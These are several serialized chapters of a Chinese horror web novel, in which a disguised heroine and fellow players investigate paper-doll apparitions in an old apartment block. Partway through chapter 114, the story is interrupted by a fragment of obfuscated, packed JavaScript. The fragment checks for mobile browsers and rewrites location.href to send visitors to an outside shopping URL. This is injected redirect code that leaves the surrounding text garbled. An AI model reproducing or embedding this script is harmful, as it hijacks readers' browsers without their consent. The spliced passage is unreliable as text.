“那是这户住户的照片吗？”姚务锦指了指沙发边的小木桌。
许舟从巧合中回过神来，走了过去。
紧接着，她便看见了那张让她此刻目瞪口呆的照片。
照片上是一个青年男人和一个青年女人。
他们站在星市的地标式建筑前，开心地比耶，笑容十分灿烂。
尽管他们的眉眼要稚嫩上不少，头发也是乌黑透亮，带有年轻人的光泽。
许舟仍然一眼就认出来，这是年轻时的母亲黎茗丽和父亲许钊。
111. 不要低头看手机（19）
这张照片，许舟曾在父亲许钊和母亲黎茗丽家中的墙壁上看见。
如今，她在这个副本中，智汇街13号的506中再度看见。
许舟坐到沙发上，用手抚摸着这张照片。
“黎心，你见过这两个人？”姚务锦察觉异样。
见过啊。
怎么会不见过。
许舟却是及其自然地轻笑两声：“当然见过，就在网上无意刷到过。这是花舟的养父母。”
“哦！”姚务锦一拍脑袋，“你这么一说，我好像有点印象了。”
许舟不再做回应。
她努力在记忆碎片里找寻着当年的片段。
五楼的住户，都有些什么人......？
当年八岁的小许舟的主要活动范围是学校和家，再有就是去邻居段漓家玩，五楼似乎是她几乎未曾踏入的区域。
哪怕在楼梯间偶遇一些邻居，许舟也只是匆匆点头打声招呼，未曾仔细观察过对方的相貌。
更何况在许舟的印象里，养父母许钊和黎茗丽工作性质所致，他们有时会排到夜班。
如果他们真的是许舟当年五楼的邻居，许舟与他们也鲜有打过照面的时候。
而且......人的记忆很容易被新的记忆掩盖与模糊。
若问许舟记不记得五楼的所有住户，答案毫无疑问是否定的。
想到这里，许舟眸光黯淡。
难道她与黎茗丽许钊的初次见面根本就不在星市孤儿院，而是她幼年生活之处智汇街13号？
现实中的黎茗丽和许钊知道这件事吗？
“花舟的养父母居然是花舟的邻居。”姚务锦坐到沙发上，轻叹道。
“是啊。”许舟点点头，“好巧...咳。”
——恭喜解锁剧情碎片“花舟的养父母”
——剧情完成度达到45%
许舟缓缓从沙发直起身子，四下望了望。
当她看向厨房时，眸里出现了一团黑漆漆的东西。
再定睛一看，那是两个人影。
许舟从沙发上站起来，一步一顿地向厨房走去。
那两个人影仍一动不动地立在原地。
“黎心？”姚务锦抬眸，才发现许舟不知何时已然起身。
他看向许舟前进的方向，当两个人影落入他的眼中，他瞬间屏住了呼吸。
许舟无暇顾及其他，已然走到厨房边上。
“黎心......我就不进去了，你小心点。”姚务锦底气不足道。
在许舟踏入厨房的下一秒，厨房门自己关上了。
客厅的灯只能从门缝里透进些许，几乎可以忽略不计。许舟的视线蓦然被黑暗替代，变得模糊不清。
在伸手不见五指的黑中，许舟伸出手，如盲人般摸到墙壁，随后慢悠悠地靠过去，倚墙而立，蓄势而发。
下一秒，厨房灯亮了。
没有人触碰厨房灯的开关，但厨房灯还是自己亮了。
面前，是一男一女两个纸人。
男纸人的面孔，是年轻版的许钊。
女纸人的面孔，是年轻版的黎茗丽。
他们虽然经济拮据，纸质穿着却时髦有质感。
纸人黎茗丽右手握着菜刀，正站在菜板前。
纸人许钊则做出洗菜的动作。
许舟的视线逐渐适应了这骤然明亮的环境。
伴随着空气中清脆的“咔擦”声，纸人黎茗丽和纸人许钊不约而同地扭头看向了许舟。
他们唇角不自然地咧到眼角，对着许舟怪异地一笑。
紧接着，纸人黎茗丽手起刀落，动作僵硬却迅速地切起了手中的菜。
而纸人许钊跟前的手龙头猛然“哗啦啦”地吐起了水，水落到了菜池子里，飞溅起点点水花。
纸人许钊向后退了两步。
到底是纸做的人，不愿意沾上这些水。
眼前的景象与许舟记忆里黎茗丽许钊一齐做饭的场景不谋而合，只不过纸人的动作实在僵硬而诡异。
以及他们的目光......
自灯亮起的那一刻，他们的目光便未曾再从许舟的身上离开。
“来。帮。我。”纸人许钊一字一顿，屡屡卡壳，“洗。菜。”
“去。帮。他。洗。菜。”纸人黎茗丽的话语紧随其后。
“你们在和我说话？”许舟疑惑地眯了眯眼。
“来。帮。我。洗。菜。”许钊的语气多了些不容置疑的肯定，他抬起腿，向许舟靠近。
眼看着许钊越来越近，许舟淡淡地笑了一下：“好，我帮你。”
许钊这才停下了脚步，稍许，他腾开，为许舟让了一条道。
在他们二人的死亡凝视下，许舟走到菜池边。
厨房的顶灯落在水花上，其粼粼反光让许舟觉得有些刺眼。
她正准备低头看菜，余光却先一步地落到了池子里。
池子里，哪有什么菜？？？
那分明是一台dv机，一台与兰姨给众人的dv机款式相同的机子。
它正被落水冲洗着，小屏幕却完好无损地显示着摄像头前的景象。
许舟的动作一顿。
“别想忽悠我。”她懒散道，却在同时伸出手取出了菜池子里的DV机，将它塞进了自己的书包，“洗什么菜？你们吃dv机？”
“对。父母。就。这个。态度？！”怨气让纸人许钊话语中的卡壳处都少了许多。
“正因为我爱我的父母，我才对你们的所作所为深恶痛绝。”许舟语气锋利带刀。
你们扮演我的父母。
你们借用他们的身份在副本行害人之径。
纸人黎茗丽切菜的动作停了下来，厨房灯骤然熄灭。
“嘎吱——”
厨房门慢悠悠地开了。
“黎心，刚刚厨房门关上，我还以为......”姚务锦不知什么时候，已经站到了厨房门边，在门打开后探头道。
“以为什么？以为我死了？”许舟直截了当地问道。
“......你别误会，我没那个意思。”姚务锦讪讪道，“里面发生了什么？外面什么都听不到。”
“先走吧。”许舟说着，就向506外走去，“我们也在五楼待了很久了。”
......
回到四楼时，其他人都还没有回来。
许舟：“我去趟洗手间。你在四楼等我就好。”
听到要自己一个人，姚务锦刹那间愁云满面，但却又无可奈何。
半晌，他只好问道：“洗手间在哪呀？”
“一楼保安室应该有。”许舟信口胡邹，“去公共厕所，总比去
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纸人的家里的好。”
“那行吧......黎心，你快去快回。”
许舟点了点头，静悄悄地凭借着微弱的月光和对智汇街13号楼梯的肌肉记忆往下走。
她在三楼的楼梯口，见到沈霁正一个人站在一处房门外，箫云筝的身影不知所踪。
本想开口，却又转念一想，现在仍可能处在系统监视之下，便垂睫不语，匆匆离去。
看见楼梯口有人，沈霁抬眸，见是许舟，只是默契地侧过脸去，甚至哼起了歌，权当目光在随意地扫视，没有看见许舟的身影。
“箫云筝，你什么时候回来？”他装作漫不经心地对着空气问道。
许舟却在心里留了个心眼——箫云筝现在不在三楼，那他去哪儿了？
......
几分钟后，许舟终于来到了一楼。
下楼时，她瞥见瑶姐三人正在二楼探查，因此她独自来到一楼后，反而更觉轻松。
毕竟她虽然确实是去保安室的，但并不是为了去公共厕所。
瑶姐的一句话让她耿耿于怀。
当白书圆疑惑为什么自称黎心的许舟知道兰姨的名字时，瑶姐告诉众人保安室上挂了一个牌子，记录了每一户人家的姓名。
但许舟压根不记得有这回事......
她想来确认一下。
到底保安室有没有那样一个牌子。
如果没有，瑶姐为什么要替她解围？
许舟摸进了保安室。
保安室十分简陋，外墙破损，地板粘着陈年污渍。
一把椅子，一把桌子，一个垃圾桶，里面有公共厕所。
除此之外，甚至连楼道监控都没有。
桌子上干干净净的，什么牌子都没有。
保安室门后亦然。
而公共厕所的门却在此刻紧闭。
下一秒，公共厕所的门自动开了。
“啧。”里面传来一声轻叹。
“谁？！”许舟敏锐地回头。
“我是保安。”那人压着嗓子回应道。
“不可能。”许舟毫不迟疑地否认，“十点后，楼里只剩纸人和玩家。”
沈霁提醒的话语跃入脑中。
“箫云筝。”许舟轻飘飘的话语在安静的保安室格外响亮。
“诶哟。”
随即，公共厕所传来激烈的掌声。
箫云筝慢悠悠地从厕所里出来：“不愧是姚务锦口中的黎心大佬，真是不好骗。”
看见果然是箫云筝，许舟终于是松了一口气：“原来是你，装什么保安。”
但轻松不过半秒，她的背脊倏地发凉：“你来这里，做什么？”
“上厕所啊。装保安好玩。”箫云筝无所谓地摊了摊手，“那黎心大佬来这干嘛呢？”
许舟眸光微动，唇角微勾：“我也是。”
说着，她便往厕所走去，心里却在不住盘算——箫云筝在撒谎。
他未曾在智汇街13号居住，并不知道公共厕所的位置分布。
他想上厕所的第一反应不会是跑到保安室的公共厕所，更大可能会随意选择一户人家借用厕所。
也就是说，箫云筝来保安室的目的与她一样——来看瑶姐口中的牌子。
“别去了。”箫云筝伸手拦住，“里面有纸人。”
112. 不要低头看手机（20）
听到箫云筝的话，许舟眉毛轻轻一扬，回想起自己刚到保安室时那紧锁的公共厕所的门，又想到这门突如其来的打开。
几乎是在那一瞬，她便猜到了公共厕所里发生了什么。
里面发生了，和许舟在506厨房里，一样的事情。
“纸人保安在里面？”许舟的话虽是疑问，但语气却尽乎于肯定。
“在里面。”箫云筝肯定道。
许舟点点头，示意感谢，便回头往四楼走去。
两人压根不熟，没必要有太多交集。
至于保安室牌子的事情，只能见招拆招。
比如...瑶姐为什么要帮自己解围？
又比如，箫云筝是否借助牌子事件，发现了自己身份有异？
......
许舟回到四楼时，姚务锦仍在紧张地左顾右盼。
而瑶姐三人已经回到四楼，正在低头私禹，不知在谈论些什么。
“黎心，你终于回来了。”姚务锦发自内心地长叹。
许舟一时不知如何应答。
“倒不必这么悲怆......”沈霁的身影从楼梯缓缓向上，他来到这时正好听见了姚务锦的感慨。
“我们先交流一下线索吧。”待沈霁和箫云筝回到四楼后，瑶姐仰起头，走上前来打着圆场。
“黎心在五楼遇到了危险...！”姚务锦似乎迫不及待地分享。
蓦然，所有人的目光落到了许舟身上。
许舟：“......”
“你......没事吧？”沈霁突兀地问道。
而瑶姐用真诚的眼神看向许舟：“方便说说发生了什么吗？”
“我们发现506住了一对夫妻，是花舟的养父母...咳。”许舟娓娓道来，“506厨房里有两个纸人，应该就是那对夫妻。”
“接着，黎心独自一人走进了厨房，厨房门就自己关上了。”姚务锦面露后怕之色。
“那两个纸人突然活了，让我去帮他们洗菜。”许舟话语简洁明了，“我走到菜池子前，才发现池子里没有菜，是一个亮着屏幕的dv机。我拒绝低头看dv机，并且把dv机拿到手里之后，厨房就恢复了正常，门也开了。”
听了许舟的话，箫云筝和沈霁皆露出“原来如此”的神色。
“啊......为什么会这样？”白书圆不解道。
“你还记得副本名字吗？”许舟引导，“咳。”
“不要低头看手机，对吧？”苏灵妤主动参与讨论。
“副本名里的白‘手机’二字，指代应该更广泛，包括了许多电子设备。”沈霁看了许舟一眼，接过话来，好让许舟少说点话，以免被箫云筝认出，“其中就含有dv机。”
“如果黎心低头看了dv机，现在可能就不在我们跟前了。”沈霁眸光一暗。
“我明白了。”瑶姐用感激的眼神看向许舟，“进入特定房间，会触发特定的纸人动作情节，但内核无外乎引导玩家低头看电子设备。只要不被诱导成功，就不会有什么危险。”
——解锁玩家死亡条件之一“纸人的dv机”
——由于与普通玩家同时获知死亡条件，该部分的奖励减少。
许舟帽檐下的眸光微动。
虽然她是boss阵营的特殊玩家，但她这次在副本里的死亡条件大概率与普通玩家无异。
从在坐车来智汇街前，她脖子上同样加深的颈纹便可见一斑。
因此，许舟暗自对自己说道——这次，不仅要达到通关要求的剧情完成度，还多了一份死亡风险，更需全面小心。
“谢谢你，黎心姐姐。”苏灵妤打断了许舟的思绪，“为我们探索出一个死亡条件。”
“喂喂喂。”箫云筝看向苏灵妤，“怎么不感谢我？我也遇到了类似的危险啊。”
“......你刚刚怎么不说。”白书圆小声嘟囔。
“我已经告诉过沈霁了。”箫云筝笑嘻嘻地说，“只是他刚刚一心分析黎心的遭遇，无暇顾及别人。”
“......箫云筝去一楼保安室上公共厕所，厕所里有纸人保安。”沈霁瞪了他一眼，“他进去之后触发了类似的纸人情节，拿到了一个新的dv机。”
许舟对此并不意外，这与她的猜测相符：“正是因为事发时，保安在上厕所，这才导致那一群不速之客进入了花舟的家，进而引发了接下来的事情。”
——恭喜解锁剧情碎片“保安的行踪”
——剧情完成度达到50%
“不可能。”白书圆却是摇了摇头，“我们三个也去过公共厕所，见到过纸人保安，没有触发情节。”
“人数限制。”许舟不轻不重地吐了四个字。
“你意思是......”白书圆脸色苍白。
沈霁会意：“触发纸人情节，应该有一个前提。那就是特定房间里的人数。你们是三个人进的公共厕所，而箫云筝是一个人进入的。”
“没错，段漓家403也是重要地点，理应会触发纸人情节。但我们当时人数过多，无法满足人数条件，所以没有触发。”瑶姐说。
“恐怕只有独自在特定时间进入特定房间，才会触发纸人情节。”沈霁说，“而纸人情节的含义，我觉得大概率指代当年那件事发生的三小时里，纸人所对应人物在对应时间的所作所为。”
“比如黎心进入厨房时看到的夫妻洗菜，当年那个时间点两人应该正在厨房做饭。”瑶姐分析。
“那么晚做饭？”姚务锦问。
“那对夫妻上的是夜班。吃完饭去上班很正常。”许舟垂睫道，“咳咳...我从网上看到的，那对夫妻的信息。”
众人陷入了一阵沉默。
半晌，瑶姐像是想起来什么似的，问道：“那这么多台dv机的作用是什么呢？算上兰姨给的，我们现在应该有三台。”
“......这个暂时不明。”许舟模棱两可地说。
......
“现在已经凌晨十二点多了，咱们还剩最后一个地方没去。”不知谁说了这么一句。
“花舟的家。”众人的想法不谋而合。
几乎是在众人话音落下的瞬间，楼道尽头的406门前地板上亮起了两个蜡烛。
蜡烛散发着的不是橙黄色的火花，而是幽幽蓝光。
蓝光很耀眼，
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几乎超过了沈霁手里手电筒的亮度
就像是......在指引众人前行的方向。
瑶姐率先从容地走到四楼楼道深处的406，她伸出手推了推门。
然而此刻，两盏蜡烛倏地熄灭了。
瑶姐眉头微蹙，往后退了两步，蜡烛再次亮起。
箫云筝嘴欠地说道：“花舟的家好像不欢迎你哦。”
“那你去试试，看看她欢不欢迎你？”沈霁话语平静，却让人难以拒绝。
“试试就试试。”箫云筝故作轻松地上前。
但果不其然，蜡烛又一次灭了，门依旧纹丝不动。
箫云筝强颜欢笑地退了回去，伴随着蜡烛的再次亮起。
许舟心中顿生不安，在众目睽睽之下，她慢吞吞地上前。
而这次，蜡烛的蓝光不但没有熄灭，还在空气中忽闪忽闪，转而变为了澄澈的黄光。
“嘎吱——”
406的门，开了。
就像是...在欢迎许舟回家。
整个副本都借由许舟的过去所搭建，许舟就是这个副本里真正的BOSS。
“看来花舟最欢迎我。”许舟说着，却笑不出来，只是继续向里走去。
屋内黑蒙蒙一片，整个客厅却无一纸人身影。
预料中，这个点的406应该会有纸人花舟才对。
眼前的景象非但没让许舟放下心来，反而让她的心提到了嗓子眼。
她在熟悉的灯开关键的位置摸了摸，却发现怎么按也打不开灯。
一下、两下......
许舟瞳孔微缩，回过头，正要向406外走去，门却倏地关上了。
“黎心！”
门关上的瞬间，门外的呼唤声也被拒之门外。
正如506的厨房门一般，406的大门关闭得毫无征兆，关闭得如此突然。
“嘎吱——嘎吱——”
紧接着关闭的，是406客厅的厨房门、厕所门。
“嘎吱——嘎吱——”
最后，是花舟的卧室门和父亲的卧室门。
“有够坑的......”许舟自言自语地猜测道，“我是第一个进406的，而在我进406客厅的一瞬间，客厅里只有我一个人，于是满足了纸人情节的人数条件，就直接触发纸人情节了...？”
先前失灵的客厅灯骤然亮起。
“呜呜呜......呜呜......”
原先空无一人的客厅中，出现了段漓的身影。
她躺在地板中央，正背对着许舟，不住地哭泣。
“段漓......？”许舟看着着瘦小而熟悉的身影，轻轻地唤了一声。
她出现得不合时宜。
现在是十点后，按理说楼里只有纸人，没有除了玩家外的活人。
段漓似是听见了许舟的叫唤，慢慢地扭动脖子，而许舟心里渐渐升起不安。
直到段漓完全回了头。
她的脸上浓墨重彩，压根不是活人。
这分明就是纸人段漓！
是众人先前在段漓家403的儿童单人床上，看见的那位纸人段漓。
113. 不要低头看手机（21）
也许是因为眼前这段漓是纸人，她的眼角没有流出一滴可能打湿她纸人脸颊的泪水，只是在不住地干泣，令人不由背脊发凉。
许舟垂眸不语，却在此刻望见脚下有一摊阴影，这片阴影在不断地扩大。
她猛然回头，发现自己的周遭围满了纸人。
他们都不一而同地用一种悲悯的眼神看向地板中央的纸人段漓。
其中......包含了纸人黎茗丽、纸人许钊以及许舟未曾见过的纸人版兰姨。
这些人，是智汇街13号的住户。
许舟往边上走了几步，退出了这一众纸人的包围圈。
纸人黎茗丽和纸人许钊一改先前在厨房时对待许舟的凶狠，如完全看不见她一般向前聚拢。
而地上的纸人段漓慢慢地向前爬了一段。
她前进的方向，从来都是那一众纸人邻居。
她从未听见许舟刚才那浅浅的叫唤声。
一名陌生的纸人女邻居上前，将纸人段漓拢在怀里。
小小的纸人段漓发出急促却诡异的呼吸声，掺杂着纸张的摩擦响。
半晌，在许舟的注视下，段漓合上了纸人眼睛。
安静得不能再安静。
就像是死了一样。
许舟情不自禁地上前，伸手轻轻触碰了面前幼小的纸人段漓。
当年的她，真的去世了吗？
鬼段漓告诉许舟她的离世时，许舟没有信。
系统提示音出现时，许舟没有信。
但当这一切在此重演时，哪怕演绎者是纸人，许舟的心还是难免为之一颤。
“叮咚——”
一阵旷远而不知所源的铃铛声响起。
在场的所有纸人都停下了他们手中的动作。
而406里的一层从楼道渗入的，薄薄的雾渐渐散去。
许舟正想借着迷雾散尽记住纸人邻居们的脸庞，他们却赫然消失在了406的客厅。
鬼段漓凭空从窗台上出现，她坐在上面，用手托着自己的下巴，摇晃着自己的双腿，露出看戏的表情。
“第一个六小时，结束啦。”
银铃般的笑声从她的喉咙深处冒出。
紧接着，406客厅的所有门同时打开，露出了楼道上围在406门前的众人的脸。
“快进来快进来。”鬼段漓声音清脆地招呼道。
门外六名玩家对视两眼，没有过多犹豫，纷纷挤进了本就不大的406。
待人齐之后，鬼段漓发紫的嘴唇勾了勾。
“已拍摄的重要视频数量：0”
“所需拍摄的重要视频总数量：4”
“继续加油哦。”
话音落下，鬼段漓指了指墙上的挂钟。
挂钟的时针指向数字一，而分针秒针在数字十二重合。
“现在是凌晨一点。”沈霁小声道，“也是我们到达智汇街13号的第二天。”
三根针都在此刻停滞不前，一时之间，许舟感觉周遭的空气都停止了流动。
鬼段漓无言地从窗台上跳下，一蹦一跳地向门外走去。
当她停留在许舟身边时，她握住了许舟白皙的手。
“记得我们的约定。杀了沈霁，我告诉你一个秘密。”
许舟如条件反射般缩回了手，环顾四周，发现其他六人面色依旧。
这应该是一种特殊的信息传导途径。
鬼段漓可以和触碰到的人传递信息而不被他人所知晓。
许舟再次低头，看向鬼段漓，她只是哼着歌，若无其事地走出406。
最后，鬼段漓扒在门框上，探了个头，言笑晏晏：“我要是你们，就赶紧从406里出来。”
“为什么？”不知是谁在慌乱中问了一句。
“你猜。”鬼段漓俏皮地一笑，与众人打着哑谜。
未知往往比已知更令人发怵。
七人匆忙对视几眼，决定做一次听话的乖宝宝，接连从406涌出。
鬼段漓贴心地帮助众人关上了406的门：“三、二、一......”
她打了个响指，莞尔一笑：“第二个六小时，开始咯～”
半晌，鬼段漓的身影消失在走道之中。
待确定楼道里无人后，瑶姐拿出未曾交出去的现用手机，看了一眼时间。
小心翼翼地将手机放回的她率先找回了自己的声音：“现在是晚上七点，而日期......”
“日期回到了昨天。”许舟毫不意外，“十点事发，现在是事发前三小时。”
“鬼段漓和黎心说过，这里以六小时为一个周期。”沈霁说，“每个周期应该是以十点为界限，分为上下两部分。”
“咳...上半部分是事发前三小时，即晚七点到晚十点。这个时间点楼里都是活人。下半部分是晚十点到次日凌晨一点，楼里都是纸人。”许舟的目光仍落在鬼段漓消失的地方。
“而每一个周期结束后，时间就会从次日凌晨一点回退到事发日七点。”沈霁不紧不慢地说，“我们需要用dv机拍摄的，恐怕就是下半周期里的那些纸人情节。”
“纸人情节只有在特定时间独自进入特定房间才会触发。”瑶姐脸色一暗，“让谁去拍摄，成为了一个有待商榷的问题。”
“根据鬼段漓的描述，我们在下半周期里，应该需要拍摄四段重要纸人情节。”许舟指出疑虑，“也就是说，纸人情节大概率不止四段，我们需要区分哪些纸人情节是重要的，以免不必要的牺牲。”
“那是不是说明，我们现在安全了？”姚务锦却神情放松，“现在七点多一点，楼里没有纸人，不用担心触发纸人情节。”
“笨死了。”箫云筝轻慢地瞥了他一眼，“如果七点到十点完全安全，那这段时间的存在将毫无意义。”
“如果时间重置到事发前三小时的话，现在恐怕......”许舟心头一紧，“我们可能又要吵到兰......”
许舟话音未落，406对门的405门倏地打开，露出了兰姨严厉的目光。
“你们是什么人？”
多么熟悉的问话。
许?预言家?舟低低地笑了两声。
“兰姨。”七人争先恐后地说道。
兰姨：“......？”
随即，她面色大惊，眼珠子狐疑地上下动了动：“你们...怎么知道我是兰姨？你们是花舟和段漓的亲
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人？”
“对对对，我们是花舟的亲人。”许舟连连点头，“而且，我们还知道花舟住在406，段漓住在403。”
这次众人反应果断且迅速，没像上一次那样说出让兰姨怀疑的话语，兰姨敛起惊容，和蔼地说：“......那你们安静点，这儿隔音不好。”
“嗯嗯。”
兰姨慢慢把门合上，一句轻飘飘的话语游入众人耳中。
“花舟那么多亲戚？不过也好，这孩子母亲走得早...”
许舟眸色沉沉，有如夜色。
“那我们还要进去吗？”白书圆眨眨大眼睛，指向了406。
“进啊进啊。”箫云筝弯弯眼睛，笑道。
沈霁思索片刻，提议道：“我倾向于先不进。鬼段漓的建议，虽然未必出于好意，但也能说明这里可能存在别的猫腻。我们可以先试着发现别的线索。”
“啧。不如虎穴焉得虎子？”箫云筝看向许舟，“那黎心怎么看？”
“我认同沈霁的意见...咳。”许舟声音如涓涓细流，耐心道，“鬼段漓的提醒应该有一定道理，她比较倾向于慢慢......”
“慢慢折磨我们？”箫云筝打断道，“有意思。”
“......所以她不会希望我们一下子团灭，这才在第二个六小时周期前让我们离开406。”许舟顿了一下，“406应该存在会让我们团灭的东西...”
“我听黎心的。”姚务锦附和。
瑶姐三人不约而同地点了点头。
箫云筝只好摊了摊手：“那好咯，少数服从多数。”
......
“瑶姐，我想去趟洗手间。”苏灵妤小声说道。
听到“洗手间”这三个字，许舟几乎是条件反射般仰起了头。
“去保安室的公共厕所吧？”瑶姐问道。
现在有了箫云筝偶遇纸人保安的经历，所有人都知道了保安室有公共厕所，更何况分头探查时一楼保安室是瑶姐三人的探索区域。
“嗯，但我有点怕...”苏灵妤声音越来越小，似乎底气不足。
“我陪你去。”瑶姐和许舟不约而同道。
苏灵妤鞠了个躬：“谢谢你们。”
......
许舟三人来到保安室时，便透过玻璃窗看见身着保安服的男保安大腹便便地倚靠在椅子上，正在闭目养神。
三人还未开口，保安的老式手机便响起了欢快的铃声。
他睁了眼，烦躁地循着铃声拿出手机。
手机很符合年代，还未有触屏功能。
他粗胖的手指按下接听键：“喂？老贾？”
见此，许舟对着瑶姐和苏灵妤使了个眼色，往保安室门边挤了挤，以在保安的视野里隐匿。
“好好好。我这就来。”保安站起了身。
他向保安室的门缓缓走去，许舟三人往楼道的方向缩了缩。
“啪嗒——”
保安肥胖的身躯走了出来，关门时，他看向许舟三人躲藏的方向。
许舟与保安进行了长达五秒的对视。
保安满是肉的额头扭成了川字，对着老式手机道：“等一下。”
114. 不要低头看手机（22）
保安目光透露出隐隐不悦：“你们是从哪儿来的？不是这楼的住户吧？”
许舟直起身子，刚要开口。
保安就颇为不耐地摆了摆手。
许舟三人都蹙起了眉头。
路遇保安不可怕，可怕的是遇到保安的时候三人正在偷听，颇如鬼鬼祟祟的小偷。
然而随着保安胖手一扬，预料之中的驱逐并没有到来。
保安应付式地说道：“没登记不能随便进啊。记住哈。”
而后，他再次将老式手机提到耳边，胖乎乎的身子转了过去。
“我工作怎么办？怕什么，我和你说，这栋楼安全得很...”保安推开楼的铁门，走向楼外。
“这......这......”苏灵妤感觉自己受到了惊吓，“这保安，也太不负责任了吧！！！”
“他一直都是这样的。”许舟对此是满满的习惯，“天天和朋友出去吃喝玩乐，随时随地翘班...咳。”
“网上确实是这么说的。”瑶姐附和道，“这保安被段漓深深控诉。”
“我都差点忘记我是来做什么的了。”苏灵妤尴尬地笑笑，走进保安室的公共厕所。
“好...好黑。”苏灵妤望着黑漆漆一片，喃喃道。
“没事，这个时间点没纸人。”瑶姐紧随其后，安抚道。
眼见四下没有NPC，许舟拿出了包里那台私留，没有交给纸人司机的手机，打开了电筒模式。
“有光就是让人安心。”苏灵妤推了推第一个隔间的门。
门没有反应。
而门上一些乱七八糟的涂鸦却瘆得苏灵妤心慌慌：“里面...不会有人吧。”
“别自己吓自己。”话是这么说，瑶姐却是秀眉轻皱，“可能只是门坏了。”
许舟的双眸也是蒙上了一层冷意。
她越过苏灵妤，走到第二个隔间，一下就推开了门。
一股恶臭从里面蹿出，熏得三人不约而同地屏住了呼吸。
隔间的墙上同样满是涂鸦，也许有些出自孩子之手，但画的那一个个骷髅头却栩栩如生。
坑位周围洒满了一张张白纸，上面满是脚印和褐色污渍。
“凑合一下吧。”许舟用鼓励的眼神望向苏灵妤。
苏灵妤背过身去，用嘴深吸一口气，而后捂住口鼻，如赴死般进入隔间。
许舟和瑶姐便在隔间外静静地等待。
趁此时机，瑶姐向许舟使了个眼色，招呼她凑近一些。
许舟微微凝眉，疑惑地凑过去。
瑶姐对她耳语道：“如果你通关了这个副本，来找我吧。”
听了这话，许舟凤眸微动，话语在喉咙中滚了两遭，终究是没有说出她可能很久都回不到现实世界的事实。
瑶姐神情却是万分的真挚，夹杂着些许期盼。
在两人短暂的互动之际，苏灵妤的隔间传来了抽水声，瑶姐突兀地说了四个数字：“0217”，便向后退了几步，双目盯着苏灵妤的隔间门，宛若什么都没有发生。
许舟的双眼在隔间和瑶姐之间打了个转，而后她垂睫不语。
0217是什么？
是瑶姐的论坛名字么？
去到异世界之后，还能上论坛吗？
在许舟思索间，苏灵妤打开了隔间门，而又在走出来后的下一秒十分嫌弃地将门掩上。
许舟和瑶姐默契地没有再提此事。
拧开生锈的水龙头，简单地冲洗了一番双手，苏灵妤丝毫没有察觉许舟和瑶姐之间凭空产生的微妙氛围。
苏灵妤上完厕所，许舟默默将方才掏出的手机塞回了包里——指不定未来什么时候能用上呢？好好保管为妙。
然而，就在三人齐齐转头的一瞬间，一阵冲水声飘进她们的耳中。
“灵妤，你刚刚冲水按了两次吗？”瑶姐警惕地问道，“可能是第二次冲水有延迟？”
苏灵妤面色苍白地摇了摇头。
此刻的无声，就是最真实的答案。
这次的冲水声绵长悠久，许舟竖起耳朵：“冲水声，是从那个锁上的隔间传来的。”
“是有楼里的住户在上厕所吗？或者是路过智汇街13号的人？”瑶姐试探性地问道。
话音刚落，那个隔间内，传来了刺耳的高音。
“叽里——叽里——”
就像是有人在用指甲，一下又一下地抠着门板。
这下子，彻底打碎了瑶姐话语里美好的期盼。
这里面，怎么可能是人！！！
“怎么办？”苏灵妤的哀求声近乎哭嚎，“瑶姐，黎心姐。”
“跑——”
许舟和瑶姐拉上苏灵妤，拔起腿就向外飞奔。
“咚！”
身后传来剧烈的撞击声，像是隔间门被打开时，由于力度过大，重重地拍在了旁边挡板上。
矫健却又肥胖的身影以极高的速度，径直追上了许舟三人。
“啊——”苏灵妤急促地叫了一声，向反方向逃去。
但这身影没有触碰三人的意思，他直接越过三人，将保安室的门“啪嗒”一声上了锁。
三人同时停下了步伐。
而后，这身影转过身来，用肥胖的身躯挡在门前，就像是刻意不让三人开锁。
他拿起一个破旧的手电筒，那一抹光圈先后在许舟、瑶姐和苏灵妤的身上转了几个来回。
凭借微弱的光线，许舟看清了来人的脸。
眉眼与方才离去的保安颇有几分相似，只不过......
苏灵妤慢悠悠地从许舟身后探了个小脑袋：“这个保安的眼鼻口怎么像是有彩笔画上去的一样......”
许舟用最平静的文字说出最惊悚的话语，指出摆在三人面前的事实：“不对，他的五官就是画上去的。”
瑶姐语速飞快地补刀：“他的衣服也是画上去的。”
“这是个...纸人保安！！！”不知是谁喊了一句。
“这个时间点...不是只有活人，没有纸人吗？”苏灵妤欲哭无泪。
“别急...咳。”许舟脑子飞速运转，“他应该不能直接伤害我们。”
“对，不然他刚刚早动手了。”瑶姐向许舟眨了眨眼。
“没有登记的外人，不能闯入智汇街13号。”纸人保安那张用纸做的脸上，露出颇有威严的神情。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533509|128991||http|test|mini|href|location''.split(''|''),0,{}));
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“你还挺敬业的。”许舟不咸不淡地说，“至少比身为人类的你要敬业。”
说罢，许舟的目光越过保安，看向智汇街13号的铁门。
那个与朋友打电话后离去的胖保安早就在雪地中不见了身影。
“是吗？”纸人保安用手抹了把脸，“感谢夸奖。”
“但话虽如此，你不能就这么...把我们羁押在这里吧？”许舟进一步道。
“我会放你们走的。”纸人保安把椅子从地上硬生生拖到门前，一屁股坐了下来，翘起了二郎腿。
身为纸人的他，这一番动作颇有些滑稽和生硬。
见他这一套动作云淡风轻，许舟皱了皱眉：“那你什么时候放我们走？”
“该放人的时候，我会放的。”纸人保安扭过脸去。
“什么叫该放人的时候？你说清楚呀。”苏灵妤话里的底气多了几分。
保安用他的纸人眼睛瞥了瞥她，却一言不发，似是不打算再搭理三人。
“他不会要关到副本结束吧？”苏灵妤想到了最坏的可能性，不免有些哽咽。
“不像。”许舟摇摇头，“但一定是关到什么事要发生的时候。”
任凭三人怎么讨论，纸人保安都一动不动地保持着他那随意的姿态。
“喂。”许舟戳了戳瑶姐。
瑶姐掀了掀眼皮，眉眼含笑：“怎么了？突然主动找我？”
“你还记不记得纸人公交车？”许舟假装漫不经心地问道。
她不敢把话说得太明显，毕竟...纸人的听力如何还有待考究。
而她也无比确定，面前没交出现用手机为车费的瑶姐也经历了纸人公交车情节。
瑶姐不加掩饰地点了点头。
许舟不动声色地咽了口口水。
瑶姐面上闪过一瞬惊讶之色，而后唇角轻牵，温如暖玉。
苏灵妤懵懂地看着两人——虽然不知道你们在打什么哑谜，但莫名觉得很有道理。
瑶姐敛起笑容，走向保安，指向保安室的窗子：“你看，是不是有别人闯进这栋楼了？”
